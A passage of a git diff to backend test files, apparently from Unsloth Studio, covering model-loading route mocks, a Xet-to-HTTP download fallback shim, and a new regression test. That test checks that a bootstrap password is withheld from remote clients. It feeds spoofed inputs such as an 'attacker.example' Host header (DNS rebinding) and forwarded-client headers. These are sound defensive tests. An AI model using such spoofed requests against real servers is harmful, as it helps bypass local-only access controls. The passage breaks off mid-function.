+                SimpleNamespace(from_identifier = lambda **_kwargs: model_config),
+            ),
+            patch.object(
+                inference_route,
+                "_guard_chat_load_against_training",
+                return_value = None,
+            ),
+            patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread),
+            patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext),
         ):
             with self.assertRaises(HTTPException) as exc_info:
                 asyncio.run(
-                    inference_route.load_model(
+                    inference_route._load_model_impl(
                         request,
                         SimpleNamespace(
                             app = SimpleNamespace(
@@ -835,9 +1009,9 @@ class TestRouteErrors(unittest.TestCase):
 
         with (
             patch.object(
-                inference_route.ModelConfig,
-                "from_identifier",
-                return_value = model_config,
+                inference_route,
+                "ModelConfig",
+                SimpleNamespace(from_identifier = lambda **_kwargs: model_config),
             ),
             patch.object(
                 inference_route,
@@ -849,6 +1023,13 @@ class TestRouteErrors(unittest.TestCase):
                 "get_llama_cpp_backend",
                 return_value = SimpleNamespace(is_loaded = False),
             ),
+            patch.object(
+                inference_route,
+                "_guard_chat_load_against_training",
+                return_value = None,
+            ),
+            patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread),
+            patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext),
             patch(
                 "core.export.get_export_backend",
                 return_value = SimpleNamespace(current_checkpoint = None),
@@ -856,7 +1037,7 @@ class TestRouteErrors(unittest.TestCase):
         ):
             with self.assertRaises(HTTPException) as exc_info:
                 asyncio.run(
-                    inference_route.load_model(
+                    inference_route._load_model_impl(
                         request,
                         SimpleNamespace(
                             app = SimpleNamespace(
@@ -899,9 +1080,9 @@ class TestRouteErrors(unittest.TestCase):
 
         with (
             patch.object(
-                inference_route.ModelConfig,
-                "from_identifier",
-                return_value = model_config,
+                inference_route,
+                "ModelConfig",
+                SimpleNamespace(from_identifier = lambda **_kwargs: model_config),
             ),
             patch.object(
                 inference_route,
@@ -913,6 +1094,13 @@ class TestRouteErrors(unittest.TestCase):
                 "get_llama_cpp_backend",
                 return_value = SimpleNamespace(is_loaded = False),
             ),
+            patch.object(
+                inference_route,
+                "_guard_chat_load_against_training",
+                return_value = None,
+            ),
+            patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread),
+            patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext),
             patch(
                 "core.export.get_export_backend",
                 return_value = SimpleNamespace(current_checkpoint = None),
@@ -920,7 +1108,7 @@ class TestRouteErrors(unittest.TestCase):
         ):
             with self.assertRaises(HTTPException) as exc_info:
                 asyncio.run(
-                    inference_route.load_model(
+                    inference_route._load_model_impl(
                         request,
                         SimpleNamespace(
                             app = SimpleNamespace(
@@ -1102,10 +1290,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase):
             cfg._attn_implementation = "eager"
             return "eager"
 
-        with patch(
-            "unsloth.models._utils.resolve_attention_implementation",
-            side_effect = _stub_resolver,
-        ):
+        with patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)):
             hardware_module._determine_attention_impl_for_gpu_estimate(config)
 
         self.assertFalse(hasattr(config, "_attn_implementation"))
@@ -1133,10 +1318,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase):
         with (
             patch.object(AutoModelForCausalLM, "_model_mapping", new = None),
             patch.object(AutoModel, "_model_mapping", new = None),
-            patch(
-                "unsloth.models._utils.resolve_attention_implementation",
-                side_effect = _stub_resolver,
-            ),
+            patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)),
         ):
             result = hardware_module._determine_attention_impl_for_gpu_estimate(config)
 
@@ -1173,10 +1355,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase):
                 inner._attn_implementation = "eager"
             return "eager"
 
-        with patch(
-            "unsloth.models._utils.resolve_attention_implementation",
-            side_effect = _stub_resolver,
-        ):
+        with patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)):
             hardware_module._determine_attention_impl_for_gpu_estimate(config)
 
         self.assertFalse(hasattr(config, "_attn_implementation"))
diff --git a/studio/backend/tests/test_hf_xet_fallback.py b/studio/backend/tests/test_hf_xet_fallback.py
index 9e40fbf508..2fff744b64 100644
--- a/studio/backend/tests/test_hf_xet_fallback.py
+++ b/studio/backend/tests/test_hf_xet_fallback.py
@@ -1,18 +1,16 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Unit tests for utils.hf_xet_fallback: the no-progress watchdog, the Xet->HTTP
-transport policy, and the HF_HUB_DISABLE_XET precondition the fallback rests on.
-CPU-only, no network, no real subprocess (the per-attempt download seam is
-monkeypatched).
+"""Tests for the Studio shim over the shared unsloth_zoo Xet -> HTTP fallback.
+
+The transport-policy matrix is tested once in unsloth_zoo; here we assert only the
+Studio seam: re-exporting the shared API and injecting the marker-aware
+prepare_cache_for_transport on the HTTP retry. CPU-only, no network, no real subprocess.
 """
 
 from __future__ import annotations
 
-import subprocess
 import sys
-import threading
-import time
 import types as _types
 from pathlib import Path
 
@@ -22,9 +20,8 @@ _BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
 if _BACKEND_DIR not in sys.path:
     sys.path.insert(0, _BACKEND_DIR)
 
-# Stub heavy/unavailable deps before importing the module under test. Use the
-# real structlog when present; a bare stub left in sys.modules would break later
-# modules that log at import time.
+# Stub heavy/unavailable deps before importing the module under test. Use real structlog when present;
+# a bare stub would break later modules that log at import time.
 _loggers_stub = _types.ModuleType("loggers")
 _loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
 sys.modules.setdefault("loggers", _loggers_stub)
@@ -34,171 +31,59 @@ except ImportError:
     sys.modules["structlog"] = _types.ModuleType("structlog")
 
 import huggingface_hub
-from huggingface_hub import constants as hf_constants
+
+try:
+    import unsloth_zoo.hf_xet_fallback as _shared_mod
+    shared = _shared_mod
+except Exception:  # noqa: BLE001 - still collect degraded-path tests when unsloth_zoo is unavailable
+    shared = None
 
 import utils.hf_xet_fallback as xf
 
 
-# --------------------------------------------------------------------------- #
-# Watchdog: fires only on a constant-size .incomplete, sparse-aware byte total.
-# --------------------------------------------------------------------------- #
-REPO = "ztest/xet-watchdog"
-
-
-@pytest.fixture
-def hf_cache(tmp_path, monkeypatch):
-    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
-    return tmp_path
-
-
-def _blobs_dir(root: Path, repo_id: str = REPO) -> Path:
-    d = root / f"models--{repo_id.replace('/', '--')}" / "blobs"
-    d.mkdir(parents = True, exist_ok = True)
-    return d
-
-
-def _wait(
-    predicate,
-    timeout: float = 2.0,
-    step: float = 0.02,
-) -> bool:
-    deadline = time.monotonic() + timeout
-    while time.monotonic() < deadline:
-        if predicate():
-            return True
-        time.sleep(step)
-    return predicate()
-
-
-def test_constant_incomplete_fires_stall(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    (blobs / "deadbeef.incomplete").write_bytes(b"\0" * 1024)  # never grows
-
-    calls: list[str] = []
-    stop = xf.start_watchdog(
-        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.3
-    )
-    try:
-        assert _wait(
-            lambda: len(calls) >= 1, timeout = 3.0
-        ), "watchdog never fired on a constant-size .incomplete"
-    finally:
-        stop.set()
-    assert "stalled" in calls[0].lower()
-
-
-def test_growing_incomplete_never_stalls(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    part = blobs / "growing.incomplete"
-    part.write_bytes(b"\0" * 1024)
-
-    grow_stop = threading.Event()
-
-    def _grow():
-        size = 1024
-        while not grow_stop.wait(0.05):
-            size += 4096
-            part.write_bytes(b"\0" * size)
-
-    grower = threading.Thread(target = _grow, daemon = True)
-    grower.start()
-
-    calls: list[str] = []
-    stop = xf.start_watchdog(
-        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.3
-    )
-    try:
-        time.sleep(1.0)  # well past stall_timeout, but bytes keep growing
-        assert calls == [], "watchdog fired despite continuous progress"
-    finally:
-        stop.set()
-        grow_stop.set()
-
-
-def test_no_incomplete_never_stalls(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    (blobs / "finalized_blob").write_bytes(b"\0" * 4096)  # no .incomplete
-
-    calls: list[str] = []
-    stop = xf.start_watchdog(
-        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.3
-    )
-    try:
-        time.sleep(0.8)
-        assert calls == [], "watchdog fired with no active .incomplete"
-    finally:
-        stop.set()
-
-
-def test_stall_fires_at_most_once(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    (blobs / "frozen.incomplete").write_bytes(b"\0" * 2048)
-
-    calls: list[str] = []
-    stop = xf.start_watchdog(
-        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.2
-    )
-    try:
-        assert _wait(lambda: len(calls) >= 1, timeout = 3.0)
-        time.sleep(0.6)  # keep ticking; must not fire again
-        assert len(calls) == 1, f"on_stall fired {len(calls)} times, expected exactly 1"
-    finally:
-        stop.set()
-
-
-def test_get_state_empty_cache(hf_cache):
-    assert xf.get_hf_download_state([REPO]) == (0, False)
-
-
-def test_get_state_absent_cache_root(tmp_path, monkeypatch):
-    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path / "no-such-cache"))
-    assert xf.get_hf_download_state([REPO]) == (0, False)
-
-
-def test_get_state_skips_local_paths(hf_cache):
-    # Filesystem paths are not HF repo IDs and must be ignored without error.
-    assert xf.get_hf_download_state(["/abs/path", "./rel", "~user", "c:\\x"]) == (0, False)
-
-
-def test_get_state_sparse_aware(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    sparse = blobs / "sparse.incomplete"
-    with open(sparse, "wb") as f:
-        f.truncate(64 * 1024 * 1024)  # large apparent size, few allocated blocks
-    st = sparse.stat()
-    if getattr(st, "st_blocks", 0) == 0:
-        pytest.skip("filesystem does not report st_blocks; sparse accounting unavailable")
-    total, has_incomplete = xf.get_hf_download_state([REPO])
-    assert has_incomplete is True
-    assert total < st.st_size, "sparse partial counted at apparent size, not allocated blocks"
-
-
-# --------------------------------------------------------------------------- #
-# Transport policy: cached short-circuit, cancel, error propagation, and the
-# single Xet->HTTP fallback. _run_download_attempt is faked, so no real spawn.
-# --------------------------------------------------------------------------- #
 DL_REPO, FILE = "ztest/xet-dl", "model-Q4_K_XL.gguf"
 
 
-@pytest.fixture(autouse = True)
-def _no_real_cache_hit(monkeypatch):
-    """Default: the cached probe misses; tests override it to force a hit."""
+def _requires_shared():
+    if shared is None:
+        pytest.skip("unsloth_zoo.hf_xet_fallback is not installed in this environment")
+
+
+def test_shim_reexports_shared_api():
+    _requires_shared()
+    assert xf.DownloadStallError is shared.DownloadStallError
+    for name in (
+        "start_watchdog",
+        "get_hf_download_state",
+        "child_should_disable_xet",
+        "hf_hub_download_with_xet_fallback",
+        "snapshot_download_with_xet_fallback",
+    ):
+        assert hasattr(xf, name), f"shim missing {name}"
+
+
+def test_child_should_disable_xet_truth_table():
+    assert xf.child_should_disable_xet({"disable_xet": True}) is True
+    assert xf.child_should_disable_xet({"disable_xet": False}) is False
+    assert xf.child_should_disable_xet({}) is False
+
+
+def test_shim_injects_studio_prepare_on_http_retry(monkeypatch):
+    """A Xet stall retries over HTTP and the shim runs Studio's marker-aware
+    ``prepare_cache_for_transport(..., 'http')`` before the retry."""
+    _requires_shared()
+    for var in ("UNSLOTH_DISABLE_XET", "UNSLOTH_STABLE_DOWNLOADS", "HF_HUB_DISABLE_XET"):
+        monkeypatch.delenv(var, raising = False)
     monkeypatch.setattr(huggingface_hub, "try_to_load_from_cache", lambda *a, **k: None)
 
+    seen_disable_xet = []
 
-class _FakeAttempt:
-    """Records calls to the download seam and returns scripted results."""
-
-    def __init__(self, results):
-        self._results = list(results)
-        self.calls = []
-
-    def __call__(
-        self,
+    def fake_attempt(
         repo_id,
-        filename,
-        token,
         *,
+        kind,
+        params,
+        token,
         repo_type,
         disable_xet,
         cancel_event,
@@ -208,146 +93,277 @@ class _FakeAttempt:
         on_status,
         force_download = False,
     ):
-        self.calls.append(
-            _types.SimpleNamespace(
-                repo_id = repo_id,
-                filename = filename,
-                disable_xet = disable_xet,
-                repo_type = repo_type,
-            )
-        )
-        return self._results[len(self.calls) - 1]
+        seen_disable_xet.append(disable_xet)
+        return ("ok", "/cache/model.gguf") if disable_xet else ("stall", None)
 
+    monkeypatch.setattr(shared, "_run_download_attempt", fake_attempt)
 
-def _install(monkeypatch, results):
-    fake = _FakeAttempt(results)
-    monkeypatch.setattr(xf, "_run_download_attempt", fake)
-    return fake
-
-
-def test_cached_file_short_circuits(monkeypatch, tmp_path):
-    cached = tmp_path / "cached.gguf"
-    cached.write_bytes(b"\0" * 8)
-    monkeypatch.setattr(huggingface_hub, "try_to_load_from_cache", lambda *a, **k: str(cached))
-    fake = _install(monkeypatch, [])  # must not be called
-
-    out = xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert out == str(cached)
-    assert fake.calls == [], "spawned a download for an already-cached file"
-
-
-def test_cancel_before_start_raises_no_attempt(monkeypatch):
-    fake = _install(monkeypatch, [])
-    ev = threading.Event()
-    ev.set()
-    with pytest.raises(RuntimeError, match = "Cancelled"):
-        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None, cancel_event = ev)
-    assert fake.calls == []
-
-
-def test_nonstall_error_propagates_without_fallback(monkeypatch):
-    fake = _install(monkeypatch, [("error", "RepositoryNotFoundError: 404 not found")])
-    with pytest.raises(RuntimeError, match = "RepositoryNotFoundError"):
-        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert len(fake.calls) == 1, "deterministic error must not trigger an HTTP fallback"
-    assert fake.calls[0].disable_xet is False
-
-
-def test_immediate_success_uses_xet_only(monkeypatch):
-    prepared = []
-    monkeypatch.setattr(
-        "hub.utils.download_registry.prepare_cache_for_transport",
-        lambda *a, **k: prepared.append(a),
-    )
-    fake = _install(monkeypatch, [("ok", "/cache/model.gguf")])
-    out = xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert out == "/cache/model.gguf"
-    assert len(fake.calls) == 1 and fake.calls[0].disable_xet is False
-    assert prepared == [], "no cache prep should run when Xet succeeds first try"
-
-
-def test_stall_then_http_fallback_succeeds(monkeypatch):
     prepared = []
     monkeypatch.setattr(
         "hub.utils.download_registry.prepare_cache_for_transport",
         lambda repo_type, repo_id, mode, *a, **k: prepared.append((repo_type, repo_id, mode)),
     )
-    fake = _install(monkeypatch, [("stall", None), ("ok", "/cache/model.gguf")])
 
     out = xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
     assert out == "/cache/model.gguf"
-    assert len(fake.calls) == 2
-    assert fake.calls[0].disable_xet is False  # Xet first
-    assert fake.calls[1].disable_xet is True  # HTTP fallback
-    assert prepared == [("model", DL_REPO, "http")], "must prep cache for HTTP before the retry"
+    assert seen_disable_xet == [False, True]  # Xet first, then HTTP
+    assert prepared == [("model", DL_REPO, "http")], "shim must run Studio's marker-aware prep"
 
 
-def test_second_stall_raises_download_stall_error(monkeypatch):
-    monkeypatch.setattr(
-        "hub.utils.download_registry.prepare_cache_for_transport", lambda *a, **k: None
-    )
-    fake = _install(monkeypatch, [("stall", None), ("stall", None)])
-    with pytest.raises(xf.DownloadStallError):
-        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert len(fake.calls) == 2
+def test_shim_snapshot_injects_studio_prepare(monkeypatch):
+    """The snapshot wrapper forwards Studio's marker-aware prep, like the file wrapper."""
+    captured = {}
+
+    def fake_snapshot(repo_id, **kwargs):
+        captured["repo_id"] = repo_id
+        captured["prepare_for_http_fn"] = kwargs.get("prepare_for_http_fn")
+        return "/tmp/snap-dir"
+
+    monkeypatch.setattr(xf, "_shared_snapshot_download_with_xet_fallback", fake_snapshot)
+    out = xf.snapshot_download_with_xet_fallback("org/model")
+    assert out == "/tmp/snap-dir"
+    assert captured["repo_id"] == "org/model"
+    assert captured["prepare_for_http_fn"] is xf._studio_prepare_for_http
 
 
-def test_cancelled_midattempt_raises_no_fallback(monkeypatch):
-    fake = _install(monkeypatch, [("cancelled", None)])
-    with pytest.raises(RuntimeError, match = "Cancelled"):
-        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert len(fake.calls) == 1
+def test_degrades_gracefully_without_shared_helper(monkeypatch):
+    """On an older unsloth_zoo lacking the shared helper, the shim still imports (Studio
+    boots) and exposes stub API doing plain HF downloads with the watchdog disabled."""
+    import importlib
+
+    class _BlockShared:
+        def find_spec(
+            self,
+            name,
+            path = None,
+            target = None,
+        ):
+            if name == "unsloth_zoo.hf_xet_fallback":
+                raise ModuleNotFoundError(f"No module named '{name}'", name = name)
+            return None
+
+    finder = _BlockShared()
+    saved_shared = sys.modules.pop("unsloth_zoo.hf_xet_fallback", None)
+    saved_shim = sys.modules.pop("utils.hf_xet_fallback", None)
+    sys.meta_path.insert(0, finder)
+    try:
+        degraded = importlib.import_module("utils.hf_xet_fallback")
+
+        # Boots without raising and mirrors the shared API surface.
+        assert issubclass(degraded.DownloadStallError, RuntimeError)
+        assert degraded.child_should_disable_xet({"disable_xet": True}) is True
+        assert degraded.get_hf_download_state(["x"]) is None  # unmeasurable
+        event = degraded.start_watchdog(repo_ids = ["x"], on_stall = lambda m: None)
+        assert hasattr(event, "set") and not event.is_set()  # never fires
+
+        # Degraded mode still emits heartbeats so the inactivity deadline is not tripped.
+        import time as _time
+
+        beats = []
+        hb_stop = degraded.start_watchdog(
+            repo_ids = ["x"],
+            on_stall = lambda m: None,
+            on_heartbeat = beats.append,
+            interval = 0.02,
+        )
+        try:
+            deadline = _time.monotonic() + 2.0
+            while not beats and _time.monotonic() < deadline:
+                _time.sleep(0.02)
+            assert beats, "degraded watchdog emitted no heartbeat"
+        finally:
+            hb_stop.set()
+
+        # Downloads fall back to plain huggingface_hub (no watchdog, no crash).
+        called = {}
+
+        def _fake_snapshot(repo_id, **kwargs):
+            called["repo_id"] = repo_id
+            return "/snap-dir"
+
+        monkeypatch.setattr(huggingface_hub, "snapshot_download", _fake_snapshot)
+        assert degraded.snapshot_download_with_xet_fallback("org/model") == "/snap-dir"
+        assert called["repo_id"] == "org/model"
+
+        # Cancellation still holds: an already-set cancel_event aborts before the HF download.
+        import threading as _threading
+
+        cancelled = _threading.Event()
+        cancelled.set()
+        called.clear()
+        with pytest.raises(RuntimeError, match = "Cancelled"):
+            degraded.snapshot_download_with_xet_fallback("org/model", cancel_event = cancelled)
+        assert "repo_id" not in called, "degraded download ran despite cancellation"
+    finally:
+        sys.meta_path.remove(finder)
+        sys.modules.pop("utils.hf_xet_fallback", None)
+        if saved_shared is not None:
+            sys.modules["unsloth_zoo.hf_xet_fallback"] = saved_shared
+        if saved_shim is not None:
+            sys.modules["utils.hf_xet_fallback"] = saved_shim
 
 
-def test_per_file_independent_fallback(monkeypatch):
-    """A stalled shard falls back; a sibling shard that succeeds does not."""
-    monkeypatch.setattr(
-        "hub.utils.download_registry.prepare_cache_for_transport", lambda *a, **k: None
-    )
-    fake = _install(monkeypatch, [("ok", "/a"), ("stall", None), ("ok", "/b")])
-    assert xf.hf_hub_download_with_xet_fallback(DL_REPO, "shardA.gguf", None) == "/a"
-    assert xf.hf_hub_download_with_xet_fallback(DL_REPO, "shardB.gguf", None) == "/b"
-    assert [c.disable_xet for c in fake.calls] == [False, False, True]
+def test_degrades_when_unsloth_zoo_entirely_absent():
+    """When unsloth_zoo is absent entirely, the import raises
+    ModuleNotFoundError(name='unsloth_zoo') (top-level package). Guard that the shim still
+    degrades and does not re-raise, breaking every Studio import that pulls it in."""
+    import importlib
+
+    class _BlockZoo:
+        def find_spec(
+            self,
+            name,
+            path = None,
+            target = None,
+        ):
+            # Whole package absent, so ModuleNotFoundError.name is the top-level 'unsloth_zoo'.
+            if name == "unsloth_zoo" or name.startswith("unsloth_zoo."):
+                raise ModuleNotFoundError("No module named 'unsloth_zoo'", name = "unsloth_zoo")
+            return None
+
+    finder = _BlockZoo()
+    saved = {
+        k: v
+        for k, v in list(sys.modules.items())
+        if k == "unsloth_zoo" or k.startswith("unsloth_zoo.")
+    }
+    for k in saved:
+        del sys.modules[k]
+    saved_shim = sys.modules.pop("utils.hf_xet_fallback", None)
+    sys.meta_path.insert(0, finder)
+    try:
+        degraded = importlib.import_module("utils.hf_xet_fallback")
+        # Boots without raising and exposes the stub API.
+        assert issubclass(degraded.DownloadStallError, RuntimeError)
+        assert degraded.get_hf_download_state(["x"]) is None
+        event = degraded.start_watchdog(repo_ids = ["x"], on_stall = lambda m: None)
+        assert hasattr(event, "set") and not event.is_set()
+    finally:
+        sys.meta_path.remove(finder)
+        sys.modules.pop("utils.hf_xet_fallback", None)
+        sys.modules.update(saved)
+        if saved_shim is not None:
+            sys.modules["utils.hf_xet_fallback"] = saved_shim
 
 
-# --------------------------------------------------------------------------- #
-# Precondition: HF_HUB_DISABLE_XET is read at import time, so assert its effect
-# in a FRESH interpreter (huggingface/huggingface_hub#3266 once ignored it).
-# --------------------------------------------------------------------------- #
-def _safe_path() -> str:
+def test_degrades_when_shared_helper_import_raises_importerror():
+    """unsloth_zoo can be installed yet fail to import when torch is missing (llama.cpp/GGUF-only
+    Studio), raising ImportError not ModuleNotFoundError. The shim must degrade for that too."""
+    import importlib
+
+    class _BlockWithImportError:
+        def find_spec(
+            self,
+            name,
+            path = None,
+            target = None,
+        ):
+            if name == "unsloth_zoo.hf_xet_fallback":
+                # Mirror a torch-less install: a plain ImportError with no .name.
+                raise ImportError("Unsloth: Pytorch is not installed.")
+            return None
+
+    finder = _BlockWithImportError()
+    saved_shared = sys.modules.pop("unsloth_zoo.hf_xet_fallback", None)
+    saved_zoo = sys.modules.pop("unsloth_zoo", None)
+    saved_shim = sys.modules.pop("utils.hf_xet_fallback", None)
+    sys.meta_path.insert(0, finder)
+    try:
+        degraded = importlib.import_module("utils.hf_xet_fallback")
+        assert issubclass(degraded.DownloadStallError, RuntimeError)
+        assert degraded.get_hf_download_state(["x"]) is None
+        event = degraded.start_watchdog(repo_ids = ["x"], on_stall = lambda m: None)
+        assert hasattr(event, "set") and not event.is_set()
+    finally:
+        sys.meta_path.remove(finder)
+        sys.modules.pop("utils.hf_xet_fallback", None)
+        if saved_shared is not None:
+            sys.modules["unsloth_zoo.hf_xet_fallback"] = saved_shared
+        if saved_zoo is not None:
+            sys.modules["unsloth_zoo"] = saved_zoo
+        if saved_shim is not None:
+            sys.modules["utils.hf_xet_fallback"] = saved_shim
+
+
+def test_retries_under_light_gpu_init_when_import_fails(monkeypatch):
+    """GPU detection in unsloth_zoo's __init__ raises NotImplementedError on a GPU-less host. The shim
+    retries under UNSLOTH_ZOO_DISABLE_GPU_INIT=1, restores the env, and degrades if the retry fails.
+    The backend loads lazily (first use of a heavy helper), so this triggers the load explicitly
+    before asserting the retry/degrade behavior."""
+    import importlib
     import os
-    return os.environ.get("PATH", "")
+
+    monkeypatch.delenv("UNSLOTH_ZOO_DISABLE_GPU_INIT", raising = False)
+    seen_env = []
+
+    class _GpuGatedBlocker:
+        def find_spec(
+            self,
+            name,
+            path = None,
+            target = None,
+        ):
+            # Crash is in unsloth_zoo's __init__, so intercept "unsloth_zoo" itself (the parent).
+            if name == "unsloth_zoo":
+                # Record the env each attempt sees; raise the no-GPU error both times so the shim
+                # degrades.
+                seen_env.append(os.environ.get("UNSLOTH_ZOO_DISABLE_GPU_INIT"))
+                raise NotImplementedError("Unsloth cannot find any torch accelerator")
+            return None
+
+    finder = _GpuGatedBlocker()
+    saved = {
+        k: v
+        for k, v in list(sys.modules.items())
+        if k == "unsloth_zoo" or k.startswith("unsloth_zoo.")
+    }
+    for k in saved:
+        del sys.modules[k]
+    saved_shim = sys.modules.pop("utils.hf_xet_fallback", None)
+    sys.meta_path.insert(0, finder)
+    try:
+        degraded = importlib.import_module("utils.hf_xet_fallback")
+        # Import is light (lazy backend); unsloth_zoo not loaded yet.
+        assert seen_env == [], seen_env
+        # First use of a heavy helper triggers the load (attempt without the light env, then a retry
+        # with it set); accessing DownloadStallError drives it via __getattr__.
+        stall_error = degraded.DownloadStallError
+        assert seen_env == [None, "1"], seen_env
+        # Both attempts raised -> Studio still boots in degraded mode.
+        assert issubclass(stall_error, RuntimeError)
+        # The env override must not leak past the load.
+        assert os.environ.get("UNSLOTH_ZOO_DISABLE_GPU_INIT") is None
+    finally:
+        sys.meta_path.remove(finder)
+        sys.modules.pop("utils.hf_xet_fallback", None)
+        sys.modules.update(saved)
+        if saved_shim is not None:
+            sys.modules["utils.hf_xet_fallback"] = saved_shim
 
 
-def test_disable_xet_constant_set_in_fresh_interpreter():
-    code = (
-        "from huggingface_hub import constants as c; "
-        "import sys; sys.exit(0 if c.HF_HUB_DISABLE_XET is True else 17)"
-    )
-    proc = subprocess.run(
-        [sys.executable, "-c", code],
-        env = {"HF_HUB_DISABLE_XET": "1", "PATH": _safe_path()},
-        capture_output = True,
-        text = True,
-    )
-    assert proc.returncode == 0, (
-        f"HF_HUB_DISABLE_XET=1 did not set constants.HF_HUB_DISABLE_XET=True "
-        f"(rc={proc.returncode}): {proc.stderr}"
-    )
+def test_importing_child_should_disable_xet_stays_light(monkeypatch):
+    """Regression guard for the stale-transformers-sidecar bug: importing the shim (and
+    ``child_should_disable_xet``) must NOT pull in ``transformers``/``unsloth_zoo``. The worker calls
+    this at startup to decide the Xet env flip BEFORE activating the sidecar; an eager import here
+    would cache the default transformers 4.57.x in sys.modules, defeating the sidecar sys.path prepend
+    and breaking 5.x models (Qwen3.5/GLM/gemma-4)."""
+    import importlib
 
+    for name in [
+        m
+        for m in list(sys.modules)
+        if m == "transformers"
+        or m.startswith("transformers.")
+        or m == "unsloth_zoo"
+        or m.startswith("unsloth_zoo.")
+        or m == "utils.hf_xet_fallback"
+    ]:
+        monkeypatch.delitem(sys.modules, name, raising = False)
 
-def test_default_leaves_xet_enabled():
-    code = (
-        "from huggingface_hub import constants as c; "
-        "import sys; sys.exit(0 if c.HF_HUB_DISABLE_XET is False else 17)"
-    )
-    proc = subprocess.run(
-        [sys.executable, "-c", code],
-        env = {"PATH": _safe_path()},  # no HF_HUB_DISABLE_XET
-        capture_output = True,
-        text = True,
-    )
-    assert proc.returncode == 0, (
-        f"without the env var, constants.HF_HUB_DISABLE_XET was not False "
-        f"(rc={proc.returncode}): {proc.stderr}"
-    )
+    mod = importlib.import_module("utils.hf_xet_fallback")
+    # The lightweight decision works without the heavy backend.
+    assert mod.child_should_disable_xet({"disable_xet": True}) is True
+    assert mod.child_should_disable_xet({}) is False
+    # And nothing heavy was imported as a side effect.
+    assert "transformers" not in sys.modules, "importing the shim must not import transformers"
+    assert "unsloth_zoo" not in sys.modules, "importing the shim must not import unsloth_zoo"
diff --git a/studio/backend/tests/test_index_bootstrap_loopback.py b/studio/backend/tests/test_index_bootstrap_loopback.py
new file mode 100644
index 0000000000..87abace22c
--- /dev/null
+++ b/studio/backend/tests/test_index_bootstrap_loopback.py
@@ -0,0 +1,123 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression coverage for bootstrap password exposure to remote clients."""
+
+from types import SimpleNamespace
+
+
+def _request(
+    client_host,
+    request_host = "127.0.0.1",
+    headers = None,
+):
+    """Build a minimal request; ``None`` models an unresolved peer / absent Host."""
+    client = None if client_host is None else SimpleNamespace(host = client_host, port = 0)
+    hdrs = {}
+    if request_host is not None:
+        hdrs["host"] = request_host
+    hdrs.update(headers or {})
+    return SimpleNamespace(client = client, headers = hdrs, url = SimpleNamespace(hostname = request_host))
+
+
+def test_loopback_peers_are_local():
+    from main import _is_local_bootstrap_request
+    cases = (
+        ("127.0.0.1", "127.0.0.1"),
+        ("::1", "::1"),
+        ("::ffff:127.0.0.1", "::ffff:127.0.0.1"),
+        ("127.0.0.1", "localhost"),
+    )
+    for peer, host in cases:
+        assert _is_local_bootstrap_request(_request(peer, host)) is True, (peer, host)
+
+
+def test_non_loopback_peers_are_remote():
+    from main import _is_local_bootstrap_request
+
+    # ::1%eth0 is a scope-id'd address, which ipaddress treats as loopback on
+    # 3.9+; it must not count as a direct local peer.
+    for host in ("192.168.1.10", "::ffff:192.168.1.10", "::1%eth0"):
+        assert _is_local_bootstrap_request(_request(host)) is False, host
+
+
+def test_absent_or_unparseable_peer_fails_safe():
+    from main import _is_local_bootstrap_request
+    for host in (None, "localhost"):
+        assert _is_local_bootstrap_request(_request(host)) is False, host
+
+
+def test_cloudflare_tunnel_clients_are_remote_despite_loopback_peer():
+    from main import _is_local_bootstrap_request
+    for client_ip in ("203.0.113.7", ""):
+        request = _request("127.0.0.1", headers = {"cf-connecting-ip": client_ip})
+        assert _is_local_bootstrap_request(request) is False, client_ip
+
+
+def test_dns_rebinding_host_is_remote_despite_loopback_peer():
+    from main import _is_local_bootstrap_request
+    for host in ("attacker.example", "192.168.1.10", None):
+        assert _is_local_bootstrap_request(_request("127.0.0.1", host)) is False, host
+
+
+def test_unparseable_request_host_fails_safe():
+    """A Host that makes ``request.url.hostname`` raise must fall to remote."""
+    from main import _is_local_bootstrap_request
+
+    class _RaisingURL:
+        @property
+        def hostname(self):
+            raise ValueError("malformed host")
+
+    request = SimpleNamespace(
+        client = SimpleNamespace(host = "127.0.0.1", port = 0), headers = {}, url = _RaisingURL()
+    )
+    assert _is_local_bootstrap_request(request) is False
+
+
+def test_reverse_proxy_forwarded_headers_are_remote():
+    """A loopback proxy relaying a remote client (non-Cloudflare headers) is remote."""
+    from main import _is_local_bootstrap_request
+    for header in ("forwarded", "x-forwarded-for", "x-forwarded-host", "x-real-ip"):
